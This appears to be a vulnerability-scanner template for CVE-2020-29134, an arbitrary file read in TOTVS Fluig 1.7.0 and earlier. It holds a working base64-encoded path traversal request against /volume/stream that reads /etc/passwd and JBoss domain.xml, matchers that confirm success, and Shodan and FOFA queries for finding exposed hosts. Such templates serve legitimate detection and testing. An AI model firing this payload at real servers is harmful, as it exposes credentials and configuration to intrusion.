CVE-2020-29134: TOTVS Fluig <= 1.7.0 - Arbitrary File Read

id: CVE-2020-29134

info:
  name: TOTVS Fluig <= 1.7.0 - Arbitrary File Read
  author: ls4ss
  severity: high
  description: |
    TOTVS Fluig platform contains a path traversal caused by base64-encoded manipulation of the 'file' parameter, letting attackers access arbitrary files, exploit requires attacker to control the 'file' parameter.
  impact: |
    Attackers can access arbitrary files on the server, potentially leading to information disclosure or system compromise.
  remediation: |
    Update to the latest version of Fluig or apply security patches addressing this issue.
  reference:
    - https://www.exploit-db.com/exploits/49622
    - https://github.com/Ls4ss/CVE-2020-29134
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29134
    - https://detecti.com.br/blog/post.html?slug=TOTVS-FLuig-Platform-CVE-2020-29134
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2020-29134
    epss-score: 0.27184
    epss-percentile: 0.97938
    cwe-id: CWE-22
  metadata:
    max-request: 50
    vendor: totvs
    product: fluig
    shodan-query: http.title:"Fluig"
    fofa-query: title="Fluig"
  tags: cve,cve2020,totvs,fluig,lfi,file-read,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}/volume/stream/Rmx1aWc=/{{base64('?t=1&vol=Default&id=' + id + '&ver=1000&file=../../../../../../../../../../../../..' + path)}}"

    payloads:
      id:
        - "1"
        - "2"
        - "3"
        - "4"
        - "5"
        - "6"
        - "7"
        - "8"
        - "9"
        - "10"

      path:
        - "/fluig/appserver/domain/configuration/domain.xml"
        - "/opt/fluig/appserver/domain/configuration/domain.xml"
        - "/etc/passwd"
        - "/windows/win.ini"
        - "/users/public/desktop/desktop.ini"

    attack: clusterbomb
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - 'xmlns="urn:jboss:domain'
          - '<server-identities>'
          - '<security-realm'
          - '<datasources>'
          - '<connection-url>'
          - 'root:x:0:0:'
          - 'root:*:0:0:'
          - 'for 16-bit app support'
          - '[fonts]'
          - '[extensions]'
          - '[.ShellClassInfo]'
        condition: or
# digest: 490a00463044022032747d3284cba68a312f92f9fc453cb78dd5ecdd3854004523b50d4affc8c32e02201637b90c08f37e35bdf87fd067a44b62899ef3f3d7397b0839ae45d7239a8438:922c64590222798bb761d5b6d8e72950